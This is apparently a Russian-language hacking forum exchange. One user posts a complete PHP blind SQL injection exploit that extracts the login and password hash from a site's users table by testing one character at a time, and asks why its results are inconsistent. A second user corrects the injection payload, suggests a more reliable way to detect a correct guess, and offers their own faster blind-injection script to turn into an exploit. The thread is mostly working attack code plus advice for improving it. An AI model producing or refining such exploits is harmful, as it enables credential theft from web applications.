Вот я написал сплоит blind sql-inj для самопального скрипта вот код PHP: <?php $size=CheckSize();echo $size."<br>"; GetLogin(); GetPassword(); function GetLogin() { $char=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); for($pos=1;$pos<=5;$pos++) for($i=0;$i<=26;$i++) { $url="http://localhost/index.php?id=1&type=art"; $script="' and substring((select login from users),$pos,1)='$char[$i]'/*"; $headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n"; $headers.="Accept-Language: en-us,en;q=0.5\r\n"; $headers.="Accept-Charset: utf-8,*;q=0.7\r\n"; $headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n"; $headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n"; $headers.="Connection: keep-alive\r\n"; $headers.="Host: localhost\r\n\r\n"; $response=Send("localhost",$headers); //echo "<pre>$headers</pre>";echo "<pre>$response</pre>"; if(strlen($response)==324) { echo $char[$i]; } } } function GetPassword() { $char=array('1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'); for($pos=1;$pos<=32;$pos++) for($i=0;$i<=15;$i++) { $url="http://localhost/index.php?id=1&type=art"; $script="' and substring((select password from users),$pos,1)='$char[$i]'/*"; $headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n"; $headers.="Accept-Language: en-us,en;q=0.5\r\n"; $headers.="Accept-Charset: utf-8,*;q=0.7\r\n"; $headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n"; $headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n"; $headers.="Connection: keep-alive\r\n"; $headers.="Host: localhost\r\n\r\n"; $response=Send("localhost",$headers); //echo "<pre>$headers</pre>";echo "<pre>$response</pre>"; if(strlen($response)==324) { echo $char[$i]; } } } function Send($host,$headers) { $fsock=fsockopen("localhost",80); fwrite($fsock,$headers); while(!feof($fsock)) $response=fread($fsock,1024); return $response; fclose($fsock); } function CheckSize() { $url="http://localhost/index.php?id=1&type=art"; $headers="GET $url HTTP/1.0\r\n\r\n"; $headers.="Accept-Language: en-us,en;q=0.5\r\n"; $headers.="Accept-Charset: utf-8,*;q=0.7\r\n"; $headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n"; $headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n"; $headers.="Connection: keep-alive\r\n"; $headers.="Host: localhost\r\n\r\n"; $response=Send("localhost",$headers); return strlen($response); } ?> Трабла в том, что при каждом запуске разные результаты, причём бываю и правильные. Подскажите пожалуйсто что я не так делаю.
Мельком глянул, пока увидел: Code: $script="' and substring((select login from users),$pos,1)='$char[$i]'/*"; Это может вызывать ошибку, дело в том что в подзапросах нужно ограничивать число результатов - должен быть строго 1 результат, юзай limit: Code: $script="' and substring((select login from users [COLOR=DarkOrange]limit 0,1[/COLOR]),$pos,1)='$char[$i]'/*"; или where userid=1 и т.д. Далее: Code: if(strlen($response)==324) { echo $char[$i]; } Я так понял правильность выполнения запроса ты определяешь по размеру ответного пакета - лучше определяй по наличию/отсутствию текста в получаемом пакете (если есть такая возможность). P.S. лучше попробуй использовать мой скрипт для блинда как сплоент - он оптимизирован, скорость будет выше. Могу помочь заточить его под сплоент если что.